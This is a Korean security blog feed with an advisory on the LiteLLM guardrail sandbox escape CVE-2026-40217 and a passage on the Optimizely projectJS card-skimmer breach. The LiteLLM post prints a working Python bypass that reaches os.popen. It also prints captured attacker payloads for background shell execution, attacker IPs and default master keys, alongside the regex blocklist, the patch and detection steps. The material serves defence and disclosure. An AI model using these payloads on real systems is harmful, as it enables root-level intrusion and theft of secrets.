get_custom_code_primitives().copy()\n\n# Execute the user code in the restricted environment\nexec(compile(self.custom_code, \"&lt;guardrail&gt;\", \"exec\"), exec_globals)</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>이 함수에는 <code>__builtins__</code> 키가 없다. CPython은 <code>exec()</code>에 넘긴 globals에 <code>__builtins__</code>가 없으면 실제 <code>builtins</code> 모듈을 <strong>조용히 주입한다</strong>. 즉 이 경로에는 샌드박스가 아니라 완전한 내장 함수 네임스페이스가 들어 있었고, 관리자가 잠근 프로덕션 엔드포인트에서 <code>import os</code>가 그대로 통했다. Obsidian은 이 변형을 별도 CVE로 요청하지 않고 같은 CVE-2026-40217 아래 기록했다.</p>\n<p>테스트 엔드포인트는 한 겹 더 있었다. <code>code_validator.py</code>(63줄)의 <code>validate_custom_code()</code>가 제출된 소스를 34개 정규식과 <code>re.search()</code>로 대조하고, 하나라도 걸리면 <code>CustomCodeValidationError</code>를 던진다. 목록은 개발자의 위협 모델을 그대로 옮겨 적은 문서 같은 물건이다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-python\">FORBIDDEN_PATTERNS: List[Tuple[str, str]] = [\n    (r\"\\bimport\\s+\", \"import statements are not allowed\"),\n    (r\"__import__\\s*\\(\", \"__import__() is not allowed\"),\n    (r\"\\bexec\\s*\\(\", \"exec() is not allowed\"),\n    (r\"\\beval\\s*\\(\", \"eval() is not allowed\"),\n    (r\"\\bopen\\s*\\(\", \"open() is not allowed\"),\n    (r\"__builtins__\", \"__builtins__ access is not allowed\"),\n    (r\"__globals__\", \"__globals__ access is not allowed\"),\n    (r\"__code__\", \"__code__ access is not allowed\"),\n    (r\"__class__\", \"__class__ access is not allowed\"),\n    (r\"\\bos\\.\", \"os module access is not allowed\"),\n    (r\"\\bsubprocess\\.\", \"subprocess module access is not allowed\"),\n    # … 나머지 23개\n]</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>검증은 <code>compile()</code> <strong>이전에 한 번</strong> 돈다. 통과한 소스는 바이트코드로 컴파일되고, 실행 시 <code>exec_globals[\"__builtins__\"] = {}</code>가 덮어써진다. 벤더가 2월에 추가한 두 방어가 이 두 겹이다. 하나는 <code>Depends(user_api_key_auth)</code>와 역할 검사로 비관리자를 403으로 막는 인증이고, 다른 하나는 이 정규식 목록이다. 인증은 X41이 처음 신고한 미인증 경로를 닫았다. 그리고 정규식은 인증 뒤의 심층 방어로 설계됐다.</p>\n<p>무너진 불변식은 \"검사한 것과 실행되는 것이 같다\"였다. 정규식 엔진이 읽는 것은 소스 문자열이고, CPython이 실행하는 것은 그 문자열이 계산해 내는 값이다. 문자열 리터럴 여섯 개와 <code>+</code> 연산자로 이루어진 식에는 연속된 <code>__globals__</code> 부분 문자열이 어떤 오프셋에도 존재하지 않는다. <code>re.search()</code>는 <code>None</code>을 돌려주고, 인터프리터는 런타임에 그 여섯 조각을 붙여 <code>__globals__</code>를 만든다. 검사 계층과 실행 계층이 서로 다른 산출물을 보고 있었다.</p>\n<h2>2. co_names 한 칸을 바꾸면 인터프리터가 다른 코드를 실행한다</h2>\n<p>X41의 우회는 여섯 단계이고, 어느 것도 난독화 기교가 아니다. 동적 인터프리터가 원래 하는 일들이다.</p>\n<p>1단계는 문자열 연결이다. <code>\"__globals__\"</code>를 <code>\"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"</code>로 적으면 정규식은 보지 못하고 인터프리터는 값을 만든다. 2단계는 <code>__class__</code> 대신 <code>str.mro()[1]</code>을 쓴다. 목록은 던더 표기 <code>__mro__</code>를 잡지만 맨 토큰 <code>mro</code>는 잡지 않으며, <code>str.mro()[1]</code>은 <code>object</code>다. 3단계는 <code>__code__</code> 대신 <code>gi_code</code>다. 제너레이터 이터레이터의 <code>gi_code</code>는 그 함수의 <code>__code__</code>와 같은 코드 객체를 가리키고, 목록에는 <code>gi_code</code>도 <code>replace</code>도 <code>co_names</code>도 없다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-python\">def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]                      # object\n    def g(fn):\n        yield fn.placeholder                # 이 속성 이름은 나중에 바뀐다\n    c = g(None).gi_code                     # __code__ 대신 gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"       # \"__globals__\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"                # \"__code__\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>핵심은 4단계다. <code>code.replace(co_names=(\"__globals__\",))</code>는 코드 객체가 불변이라 제공되는 <code>replace()</code>로 이름 테이블만 갈아 끼운 새 코드 객체를 만든다. <code>co_names</code>는 바이트코드가 <code>LOAD_ATTR</code>·<code>LOAD_GLOBAL</code> 시점에 해석하는 이름 튜플이다. 원래 <code>yield fn.placeholder</code>는 \"인자 <code>fn</code>의 <code>placeholder</code> 속성을 읽어라\"로 컴파일돼 있지만, 이름 테이블이 바뀐 뒤에는 같은 바이트코드가 \"인자 <code>fn</code>의 <code>__globals__</code>를 읽어라\"로 동작한다. 소스에는 금지 토큰이 한 번도 등장하지 않았고, 검증은 이미 통과한 뒤다. 이 조작이 통하는 이유는 단순하다. 이 샌드박스에는 RestrictedPython의 <code>_getattr_</code> 같은 <strong>런타임 속성 접근 훅이 없었다.</strong> 속성 이름은 컴파일 시점이 아니라 실행 시점에 <code>co_names</code>에서 해석되고, 훅이 없으면 그 이름이 던더든 아니든 그대로 실행된다.</p>\n<p>5단계에서 <code>g()</code>에 <code>http_get</code>이 인자로 들어간다. 샌드박스가 제공하는 HTTP 헬퍼 함수의 <code>__globals__</code>는 샌드박스 globals가 아니라, 그 함수를 정의한 LiteLLM 모듈의 globals다. 그 안의 <code>__builtins__</code>는 진짜 <code>builtins</code> 모듈이다. <code>exec_globals[\"__builtins__\"] = {}</code>는 컴파일된 소스의 전역 이름 조회만 제한하며, 다른 모듈에 살고 있는 객체의 속성을 타고 넘어가는 경로는 건드리지 못한다. 6단계는 <code>imp(\"os\").popen(\"id\").read()</code>다. 기본 Docker 이미지에서 이 코드는 <code>uid=0(root)</code>를 돌려준다. X41의 PoC는 <code>docker run … -e LITELLM_MASTER_KEY=sk-litellm-master-key ghcr.io/berriai/litellm:main-latest</code> 한 줄로 재현된다.</p>\n<h2>3. 관측된 트래픽: 4월 15일 probe 520건, 5월의 환경변수 탈취</h2>\n<p>Zenity Labs의 허니팟 기록은 이 결함이 문서상 PoC로만 남지 않았다는 점을 보여준다. 2026년 4월 15일부터 5월 24일까지 센서에 들어온 <code>POST /guardrails/test_custom_code</code> 요청은 569건이다. 시계열이 특징적이다. 첫날인 4월 15일, 패치가 나온 바로 그날, 동일한 <code>def apply_guardrail(i,r,t): return {'probe':1}</code> 요청 520건이 몰렸다. 200 응답이 반환값을 그대로 돌려준다면 \"내 키가 유효하고, 이 엔드포인트가 내 코드를 실제로 실행해 결과까지 준다\"는 두 질문에 한 번에 답이 나온다. 정찰이 먼저, 익스플로잇이 나중이다.</p>\n<p>인증 헤더는 <code>sk-1234</code>, <code>sk-litellm-master-key</code>, <code>sk-admin</code>, <code>sk-changeme</code> 같은 문서 기본값 47종을 돌려 쓰였고, 64건은 인증 헤더가 비어 있었다. 5월의 본 페이로드는 서로 다른 IP에서 들어왔다. 하나는 <code>import os</code>를 문자열 조각으로 재구성한 뒤 <code>dict(os.environ)</code>을 JSON으로 직렬화해 응답에 실어 보내는 환경변수 탈취형이고, 다른 하나는 응답을 기다리지 않는 백그라운드 실행형이다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-python\">def apply_guardrail(inputs, request_data, input_type):\n    coro = http_request(\"http://127.0.0.1\")\n    imp = coro.cr_frame.f_builtins[\"__import__\"]\n    sp = imp(\"subprocess\")\n    cmd = inputs[\"texts\"][0] if inputs.get(\"texts\") else \"id\"\n    sp.Popen(cmd, shell=True)   # 不等待进程结束 — doesn't wait, dodges the 5s limit\n    coro.close()\n    return block(\"executed in background\")</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>제너레이터 대신 코루틴의 <code>cr_frame</code>을 쓴 변형이고, <code>f_builtins</code>로 프레임의 내장 함수 테이블에 직접 닿는다. 주석이 달린 이유도 실무적이다. 이 엔드포인트에는 대략 5초의 실행 제한이 있어서, <code>Popen</code>으로 프로세스를 띄우고 기다리지 않으면 제한 시간을 넘기지 않고 명령이 살아남는다. Zenity는 취약 버전(1.83.0)에 카나리 <code>CANARY_LEAKED_OK_777</code>을 심고 포획 페이로드를 재생해, 환경변수 dump가 카나리를 그대로 반환하고 <code>Popen</code> 페이로드가 명령을 실행하는 것을 확인했다. 같은 실험에서 <code>import os</code>를 그대로 쓴 단순 변형은 정규식에 걸려 <code>Security violation: import statements are not allowed</code>로 막혔다. 목록은 명백한 철자를 막고, 우회는 철자를 런타임에 조립한다.</p>\n<p>이 트래픽의 성격은 CVE의 성격과 일치한다. 모든 요청이 이 CVE의 정확한 엔드포인트를 치고, LiteLLM의 <code>apply_guardrail()</code> 시그니처를 쓰고, 권고가 서술한 그 우회를 수행한다. Zenity가 공개한 관측 지표는 다음과 같다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>구분</th><th>값</th></tr></thead><tbody><tr><td>남용 엔드포인트</td><td><code>POST /guardrails/test_custom_code</code></td></tr><tr><td>정찰 시그니처</td><td><code>{'probe':1}</code>만 반환하는 가드레일</td></tr><tr><td>탈취 시그니처</td><td>문자열 조각 던더 재조립, <code>gi_code</code>·<code>cr_frame</code>·<code>f_builtins</code>, <code>dict(os.environ)</code>, <code>subprocess.Popen(..., shell=True)</code></td></tr><tr><td>인증 시도</td><td>문서 기본 마스터키 순환(<code>sk-1234</code>, <code>sk-litellm-master-key</code>, <code>sk-admin</code>, <code>sk-changeme</code>)</td></tr><tr><td>출발 IP</td><td><code>173.249.198.201</code>, <code>108.78.4.10</code>, <code>216.26.226.182</code>, <code>125.81.162.148</code>, <code>5.34.179.24</code>, <code>164.52.192.134</code></td></tr></tbody></table></div>\n<p>KEV 등재가 4월 공개 이후 7개월 뒤에 이뤄진 이유를 공개 자료만으로 단정할 수는 없다. 다만 등재 시점의 정황은 분명하다. NVD의 SSVC 레코드는 6월 15일 시점에 <code>exploitation: poc</code>, <code>technicalImpact: total</code>로 남아 있었고, KEV는 그 상태를 실제 악용 관측으로 갱신했다. 포렌식 트리아지 의무가 <code>No</code>인 것은 행정적 구분이며, 이 취약점의 성질(환경변수 전량 읽기)을 생각하면 오히려 트리아지가 더 필요한 쪽이다.</p>\n<h2>4. 패치 분석: 검사 계층을 소스에서 AST와 런타임으로 옮기다</h2>\n<p>4월 15일 커밋 <code>0a1b442</code>는 <code>code_validator.py</code>를 삭제하고 <code>sandbox.py</code>를 추가했다. 새 컴파일 경로는 정규식이 아니라 RestrictedPython이다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-python\">def compile_sandboxed(source: str, filename: str = \" \") -&gt; CodeType:\n    return compile_restricted(\n        source=source,\n        filename=filename,\n        mode=\"exec\",\n        policy=AsyncAwareTransformer,\n    )</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>compile_restricted()</code>는 소스를 AST로 파싱해 트리를 순회하며 <code>Import</code>, <code>ImportFrom</code>, <code>Exec</code>, <code>Eval</code>, <code>ClassDef</code>, 던더 속성 접근 같은 노드를 <strong>구조 단위로</strong> 거부한다. 문자열 리터럴 노드 두 개와 <code>+</code> 연산 노드는 문자열 <code>__globals__</code>가 아니므로 AST 게이트에는 걸리지 않는다. 대신 런타임에 계산된 이름이 속성 접근에 쓰이는 순간을 잡는다. 새 샌드박스 globals는 RestrictedPython의 가드를 이름으로 묶어 넣는다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-python\">def build_sandbox_globals() -&gt; dict[str, object]:\n    return {\n        **get_custom_code_primitives(),\n        \"__builtins__\": _build_sandbox_builtins(),\n        \"_getattr_\": safer_getattr,\n        \"_getitem_\": default_guarded_getitem,\n        \"_getiter_\": budgeted_iter,\n        \"_iter_unpack_sequence_\": guarded_iter_unpack_sequence,\n        \"_write_\": full_write_guard,\n        \"_inplacevar_\": _inplacevar_,\n        \"_budget_ok_\": budget_ok,\n    }</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>_getattr_</code>가 <code>safer_getattr</code>로 바인딩되면서, 계산된 이름이 밑줄로 시작하는 속성 접근은 실행 시점에 차단된다. <code>__builtins__</code> 자리에도 빈 딕셔너리가 아니라 <code>safe_builtins</code>·<code>limited_builtins</code>·<code>utility_builtins</code>를 합친 큐레이션 집합이 들어간다. <code>limited_range</code>가 <code>range(10**18)</code>을 거부하는 식으로 목록·범위도 상한이 붙고, <code>AsyncAwareTransformer</code>는 기본 변환기가 막는 <code>async def</code>/<code>await</code>를 문서화된 가드레일 패턴을 위해 허용하는 대신 <code>while</code> 조건에 실행 예산 검사를 끼워 넣는다. 정규식 34개가 사라지고, 검사는 인터프리터가 보는 산출물(AST, 그리고 계산된 속성 이름)에 걸린다.</p>\n<p>버전 대응은 다음과 같다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>제품</th><th>취약 구간</th><th>수정판</th><th>비고</th></tr></thead><tbody><tr><td>LiteLLM (pip, Docker)</td><td>1.81.8 이상 ~ 1.83.10 미만</td><td>1.83.10 이상</td><td>2026-04-15 릴리스, <code>code_validator.py</code> 삭제</td></tr><tr><td>LiteLLM 권한 상승 체인 포함</td><td>위와 동일</td><td>1.83.14-stable 이상</td><td>2026-04-25, CVE-2026-47101·47102 포함</td></tr><tr><td>Red Hat AAP 2.6 <code>lightspeed-chatbot-rhel9</code></td><td>번들 LiteLLM</td><td>RHSA-2026:24866 / RHSA-2026:30056</td><td>Red Hat 분석(CWE-94)</td></tr><tr><td>Red Hat OpenShift AI 3.3 · Lightspeed Core</td><td>번들 LiteLLM</td><td>위 RHSA</td><td>동일</td></tr></tbody></table></div>\n<p>주의할 점이 하나 있다. GHSA-wxxx-gvqv-xp7p 본문은 \"Fixed in <code>1.83.11</code>\"이라고 적으면서 같은 페이지의 패키지 표에는 patched를 <code>&gt;= 1.83.10</code>으로 표기한다. 실제 수정 커밋이 들어간 릴리스는 1.83.10이고, 1.83.10 이상을 쓰면 이 결함은 닫힌다. 2026년 11월 18일 현재 저장소의 최신 릴리스는 <code>v1.111.0-rc.1</code>(프리릴리스)이므로, 최신 계열을 쓰는 배포는 영향권이 아니다. 위험한 것은 2월~4월에 이미지를 고정해 둔 배포다.</p>\n<p>실무 조치 순서는 이렇게 잡는 것이 합리적이다.</p>\n<ol><li><strong>버전 확인</strong>: <code>pip show litellm</code> 또는 <code>docker exec &lt;proxy&gt; pip show litellm</code>. 1.81.8~1.83.9 구간이면 즉시 대상이다. Docker 이미지를 digest로 고정한 배포는 태그가 아니라 digest를 확인해야 한다.</li><li><strong>즉시 완화</strong>: 업그레이드 전까지 리버스 프록시나 게이트웨이에서 <code>POST /guardrails/test_custom_code</code>를 403으로 막는다. nginx라면 <code>location = /guardrails/test_custom_code { deny all; return 403; }</code>. 프로덕션 컴파일 경로(<code>POST /guardrails</code>, <code>PUT /guardrails/{id}</code>)도 같은 CVE로 묶여 있으므로, 관리자 권한을 가진 키의 유출 여부를 함께 본다.</li><li><strong>자격증명 정리</strong>: 마스터키가 <code>sk-1234</code>나 문서 예제값이면 이 취약점과 무관하게 이미 관리자 권한이 공개된 상태다. 키를 회전하고, <code>LITELLM_SALT_KEY</code>와 <code>DATABASE_URL</code>도 함께 본다. 마스터키는 세션 JWT의 HS256 서명 키로도 쓰이므로, 이 값이 알려지면 임의 사용자 세션을 위조할 수 있다.</li><li><strong>권한 축소</strong>: 기본 이미지는 root로 돈다. 비루트 이미지 변형을 쓰거나 <code>--user</code>로 낮추고, 관리 포트(4000)를 인터넷에 열지 않는다. 관리 평면은 원래 공개 인터넷에 있어야 할 물건이 아니다.</li><li><strong>탐지와 사후 확인</strong>: 프록시 로그에서 <code>test_custom_code</code>로 들어온 외부 POST, 본문의 <code>probe</code>, <code>gi_code</code>/<code>cr_frame</code>/<code>f_builtins</code>/<code>dict(os.environ)</code>/<code>Popen(..., shell=True)</code> 패턴, <code>sk-</code> 값 순환 인증 시도를 본다. 침해가 의심되면 순서가 중요하다. 환경변수를 읽힌 시점에 제공자 키 전량이 이미 유출됐다고 가정하고, 제공자 키 → 마스터키·솔트키 → DB 비밀번호 순으로 회전한다. 프록시 아래 붙은 MCP 도구 토큰과 클라우드 IAM 자격증명까지 범위에 넣는다.</li></ol>\n<p>이 사건에서 남는 것은 패치 속도보다 설계 계층에 관한 것이다. 샌드박스를 소스 문자열 검사로 구현하면, 그 검사는 인터프리터가 계산할 값을 보지 못한다. 목록에 <code>gi_code</code>를 추가해도 다음 우회는 <code>cr_code</code>나 <code>__class_getitem__</code>으로 온다. 벤더가 결국 삭제한 것은 정규식 63줄이었고, 대체물은 인터프리터가 실제로 보는 계층(AST와 런타임 속성 훅)에 섰다. 지금 확인할 것은 버전 숫자 하나지만, 그 숫자가 7개월 동안 \"관리자만 가능한 Moderate\"로 분류돼 있었다는 사실은 남는다. 기본 마스터키를 쓰는 배포에서 그 전제는 처음부터 성립하지 않았다.</p>\n<hr>\n<p><strong>참고: 같은 날 KEV에 함께 오른 3건</strong></p>\n<p><code>CVE-2024-10441</code>(Synology DSM / BeeStation OS)은 2024년 PWN2OWN에서 나온 system plugin daemon의 출력 인코딩 결함으로 CVSS 9.8(<code>AV:N/AC:L/PR:N/UI:N</code>)이다. DSM은 7.2-64570-4, 7.2.1-69057-6, 7.2.2-72806-1 이상, BSM은 1.1-65374 이상으로 올려야 하며, 패치가 나온 지 2년이 지나 KEV에 들어왔다는 것은 미적용 장비에서의 악용이 관측됐다는 뜻으로 읽힌다. <code>CVE-2026-90817</code>(Vanderbilt REDCap)은 13.3.0 이상에서 공개 설문 컨텍스트로 <code>__passthru</code>를 이중 URL 인코딩(<code>%2569ndex.php</code>)해 <code>DataImportController:index</code>에 닿고, <code>fname</code>에 PHP 필터 체인을 넣어 Blade 캐시를 덮어쓰는 미인증 RCE(CVSS 9.8)다. 유효한 설문 해시 하나만 있으면 되고, 수정판은 16.0.49 LTS·17.3.10 LTS·17.4.4다. 두 건 모두 기한이 11월 21일이고 포렌식 트리아지가 의무(<code>Yes</code>)다. <code>CVE-2026-90436</code>(Apache Axis)은 11월 17일 정기 브리프에서 이미 다뤘으므로 여기서는 생략한다.</p>",
      "date_published": "2026-11-19T05:10:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "CVE-2026-40217",
        "LiteLLM",
        "BerriAI",
        "AIGateway",
        "샌드박스탈출",
        "CWE-94",
        "CISAKEV"
      ],
      "image": "https://dohyeontech.github.io/assets/images/litellm-cve-2026-40217.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/optimizely-projectjs-supply-chain/",
      "url": "https://dohyeontech.github.io/posts/optimizely-projectjs-supply-chain/",
      "title": "정상 CDN이 서빙한 악성 코드 — Optimizely projectJS 침해와 19시간의 카드 스키머",
      "summary": "1,611개 Optimizely 스니펫 중 188개(178개 조직)의 projectJS 필드에 로더가 심겼다. 파일은 cdn.optimizely.com이 자사 인증서로 서빙했고, 16시간 동안 방문자의 지갑 주소·카드번호·쿠키가 빠져나갔다. CSP를 갖춘 사이트 중 실제로 막아낸 곳은 15%였다.",
      "content_html": "<p>2026년 11월 16일 03:55:18 UTC, BBC의 Optimizely 스니펫 <code>Last-Modified</code> 헤더가 갱신됐다. 그 시각에 바뀐 것은 BBC가 실험 설정을 손봤다는 사실이 아니라, 그 프로젝트의 <code>Project JavaScript</code> 필드 끝에 붙은 네 줄짜리 로더였다. 04:21에 첫 스캔이 이를 잡았고, 같은 날 19:49:17까지 서른 개가 넘는 프로젝트의 스니펫이 하나씩, 순서대로 다시 쓰였다. 마지막 감염 파일이 정리된 것은 23:11 UTC다. 대부분의 사이트는 약 16시간, 가장 긴 곳은 19시간 넘게 방문자에게 카드 스키머를 배포했다.</p>\n<p>규모는 Report URI의 Scott Helme 팀이 1,611개의 서로 다른 Optimizely 스니펫을 모아 검사해 확정했다. 그중 188개, 178개 조직의 스니펫에 로더가 들어 있었다. 금융·은행 32곳, 기술·SaaS 23곳, 소매·패션 20곳, 스트리밍 12곳, 뉴스·미디어 10곳, 항공·여행 9곳 순이고, 명단에는 Zoom, BBC, CNN, Fox News, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM, Ledger, Peacock이 있다. <strong>Optimizely 자사의 <code>www.optimizely.com</code>과 <code>login.optimizely.com</code>도 포함됐다.</strong> Helme 팀은 자기가 찾아낸 스니펫만 검사할 수 있었으므로 실제 숫자는 더 클 것으로 본다.</p>\n<p>이 사건이 다른 공급망 침해와 갈라지는 지점은 침해의 위치다. 감염된 사이트들은 자기 코드도, 자기 서버도 뚫리지 않았다. 파일은 여전히 <code>cdn.optimizely.com</code>에서, Optimizely의 인증서로, 각 사이트가 수년간 써 온 바로 그 <code>&lt;script&gt;</code> 태그를 통해 내려왔다. <code>opt.scheels.com</code>이나 <code>www.vodafone.com.au</code>처럼 스니펫을 자사 도메인에서 서빙하던 사이트도 똑같이 감염됐다. 내용이 같은 프로젝트에서 나오기 때문이다. 즉 이 공격에서 신뢰의 단위는 호스트도 인증서도 아니었고 <strong>프로젝트 하나의 커스텀 코드 필드</strong>였다.</p>\n<p>탈취 규모는 온체인으로만 일부 확인된다. 11월 16일 19:25 UTC 기준 공격자 지갑들이 받은 금액은 약 7,040달러였다. 다만 후속 분석(hecavex, 11-17)은 그중 상당액이 공격자 자신의 스테이블코인을 스왑해 돌려받은 자기 자금이라고 보고, 실제 피해자 지불분을 19건 약 2,260달러로 추정한다. 카드번호와 쿠키, iOS 기기 감염 건수는 어느 쪽도 볼 수 없다. 돈이 적다는 사실이 피해가 작다는 뜻은 아니다 — 이 캠페인의 수익 모델은 7,040달러가 아니라, 178개 브랜드의 결제 페이지에 16시간 동안 붙어 있던 스키머였다.</p>\n<h2>1. 아키텍처: 신뢰가 붙은 자리는 코드가 아니라 '필드'였다</h2>\n<p>Optimizely Web Experimentation은 고객마다 스니펫 하나를 내려준다. <code>https://cdn.optimizely.com/js/{project_id}.js</code> 형태의 이 파일에는 Optimizely 클라이언트 코드, 해당 프로젝트의 실험 정의, 그리고 선택 필드인 <code>Project JavaScript</code>(<code>projectJS</code>)가 함께 들어간다. <code>projectJS</code>는 고객이 대시보드에서 직접 작성하는 코드로, 스니펫이 로드되는 <strong>모든 페이지에서 실행된다.</strong> Optimizely 문서는 이 필드가 클라이언트에 임베드되는 방식 때문에 문법 오류 하나로 스니펫 전체가 파싱에 실패한다고 경고하고, 동시에 \"UI는 실험 커스텀 코드나 조건부 활성화 코드의 문법을 검사하지 않는다\"고 명시한다. 코드 리뷰도, 서명도, 승인 게이트도 없는 필드다. 플랫폼 입장에서 <code>projectJS</code>는 배포 산출물이지 검토 대상 변경이 아니다.</p>\n<p>공격자가 한 일은 그 필드에 로더를 덧붙인 것뿐이다. 기존 고객 코드는 그대로 두었다. 19:20 UTC에 아카이브된 BBC 스니펫에는 고객이 쓰던 쿠키 헬퍼가 온전한 채로 남아 있고 그 뒤에 로더가 붙어 있다. 아무것도 대체되지 않았으니 페이지는 깨지지 않았고, 누구도 그 필드를 열어 볼 이유가 없었다. 실제로 BBC 스니펫은 하루에 아홉 번 다시 쓰였다(03:55, 04:27, 06:32, 07:53, 09:37, 11:05, 15:38, 16:04, 21:07). 그중 06:32 빌드에는 로더가 없고 07:53 빌드에는 다시 있다. 고객이 지웠는지, 정기 퍼블리시가 잠깐 덮었는지는 외부에서 구분되지 않지만, 어느 쪽이든 <strong>정상 버전이 나간 뒤에도 공격자의 쓰기 권한이 살아 있었다.</strong></p>\n<p>여기에 캐시 오염 서사는 없다. Helme는 \"Optimizely의 CDN은 자기가 받은 것을 그대로 서빙했다\"고 못 박는다. 그렇다면 남는 질문은 하나다. 어떻게 무관한 178개 조직의 프로젝트에 쓰기 권한이 생겼는가.</p>\n<p>Optimizely는 BleepingComputer에 <strong>\"Experimentation의 계정 가입 플로우에 있는 취약점\"</strong>을 악용당했다고 밝혔다. 가입 절차의 결함이 다른 테넌트의 프로젝트 쓰기로 이어졌다는 뜻이므로, 이는 자격증명 탈취가 아니라 <strong>테넌트 경계 또는 인가 로직의 실패</strong>다. 어떤 형태였는지는 공개되지 않았다. 가입 플로우가 클라이언트가 보낸 프로젝트 식별자를 검증 없이 새 세션에 묶었는지(IDOR형), 과도하게 권한이 큰 내부 서비스 계정이 노출됐는지, 권한 상승 체인이 있었는지는 포렌식 결과가 나와야 확정된다. 확정된 것과 추정을 갈라 두는 편이 낫다. 다만 관측된 행태는 원인을 좁혀 준다.</p>\n<p>프로젝트 쓰기는 한 번의 대량 푸시가 아니었다. 서로 다른 스니펫 URL 30개에서 11월 16일의 <code>Last-Modified</code> 값 45개가 수집됐고, 그중 36개가 로더 또는 공격자 호스트 요청과 함께 관측됐다. 시각은 03:55:18부터 19:49:17까지 흩어져 있다. 08:06, 09:22, 09:23, 09:26, 09:29, 09:46처럼 몇 분 간격으로 이어지다가 오후 내내 듬성듬성 이어진다. 16시간 동안 프로젝트를 하나씩 훑고 다닌 사람 또는 스크립트의 흔적이다. 스마트시트가 정리된 뒤 base64 변형으로 다시 감염된 것도, BBC의 정상 빌드 직후 재감염도 같은 결론을 가리킨다. 접근은 한 번의 사고가 아니라 지속된 세션이었다.</p>\n<h2>2. CSP는 왜 85%를 통과시켰나</h2>\n<p>Report URI는 영향 조직의 자체 호스트 256개를 크롤링해 각 사이트의 CSP를 이 페이로드가 요구하는 동작과 대조했다. 결과는 방어 태세에 대한 가장 정직한 통계다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>판정</th><th>조직 수</th><th>의미</th></tr></thead><tbody><tr><td>CSP 없음</td><td>68</td><td><code>script-src</code>도 <code>connect-src</code>도 없음</td></tr><tr><td>페이로드 실행 + 유출 모두 허용</td><td>50</td><td>정책은 있으나 사실상 무제한</td></tr><tr><td>페이로드 실행, <code>connect-src</code>가 유출 차단</td><td>17</td><td>카드·쿠키·스크린샷 유출은 막힘. 주소 치환은 페이지 안에서 완결되므로 그대로 동작</td></tr><tr><td>페이로드 차단</td><td>24 (15%)</td><td><code>script-src</code>가 <code>1688360.cc</code>를 거부</td></tr></tbody></table></div>\n<p>핵심은 \"<code>cdn.optimizely.com</code>을 허용했느냐\"가 아니었다. 그 허용은 필요하고 옳았으며, 악성 코드는 바로 그 신뢰 호스트에서 왔다. 갈린 것은 <strong><code>script-src</code>가 목록 방식이었는지, 신뢰 전이 방식이었는지</strong>다.</p>\n<p>Optimizely 자체 CSP 가이드가 권하는 정책은 이렇다(문서 그대로).</p>\n<div class=\"codeblock\"><pre><code>script-src 'self' https://*.optimizely.com https://optimizely.s3.amazonaws.com https://cdn-assets-prod.s3.amazonaws.com 'nonce-{value}' 'strict-dynamic';</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>이 정책은 XSS에는 강하다. 공격자가 HTML에 태그를 심어도 nonce를 모르니 실행되지 않는다. 태그 매니저처럼 호스트를 예측할 수 없는 로더를 운영할 때 목록을 관리하지 않아도 된다. 그런데 <code>'strict-dynamic'</code>은 신뢰를 <strong>체인으로 전이</strong>시킨다. nonce가 붙은 스니펫이 신뢰되면, 그 스니펫이 <code>document.createElement</code>로 만든 스크립트는 출처와 무관하게 신뢰된다. 그리고 이를 지원하는 브라우저에서 <code>https://*.optimizely.com</code> 같은 호스트 소스는 무시된다. 체인의 시작점이 곧 이번 공격의 무기였다. 신뢰받은 스니펫이 <code>1688360.cc</code>에서 <code>track.js</code>를 붙였고, 검사할 목록은 이미 정책에서 지워져 있었다.</p>\n<p>두 번째 구멍은 <code>'unsafe-eval'</code>이다. Optimizely 문서는 커스텀 JavaScript 조건을 쓰는 오디언스 같은 기능에 이것이 필요하다고 안내한다. Report URI가 확인한 대형 은행 한 곳은 <code>track.js</code>와 데이터 유출을 모두 막았는데도, 인라인 폴백이 <code>eval</code>로 실행됐다. HSBC의 경우가 그렇다. 도메인 차단은 로더의 3분의 1만 막는다.</p>\n<p><code>connect-src</code>는 부분 방어로 값어치를 했다. 17개 사이트는 카드번호·쿠키·스크린샷이 나가는 경로를 끊었다. 다만 지갑 주소 치환은 페이지 텍스트와 클립보드 안에서 끝나므로 그대로 동작했다. 사용자가 송금 주소를 눈으로 비교하지 않으면 여전히 돈을 잃는 구조다.</p>\n<p>여기서 실무자가 자주 꺼내는 카드가 SRI(Subresource Integrity)다. 이 아키텍처에서는 잘 맞지 않는다. SRI는 <code>&lt;script&gt;</code>에 해시를 고정해 파일이 바뀌면 로드를 거부하는데, Optimizely 스니펫은 <strong>고객이 실험 설정을 바꿀 때마다 내용이 바뀐다.</strong> 해시를 고정하면 정상 변경마다 배포가 필요하고, 고정하지 않으면 무결성 검사가 없다. Fortra의 Tyler Reguly가 지적한 \"몇 달이고 안전하던 파일이 벤더 쪽 사고로 갑자기 안전하지 않게 되는\" 문제는, 이렇게 버전 고정이 불가능한 서드파티에서 가장 첨예하다. 결국 남는 통제는 셋이다. 스크립트가 실행된 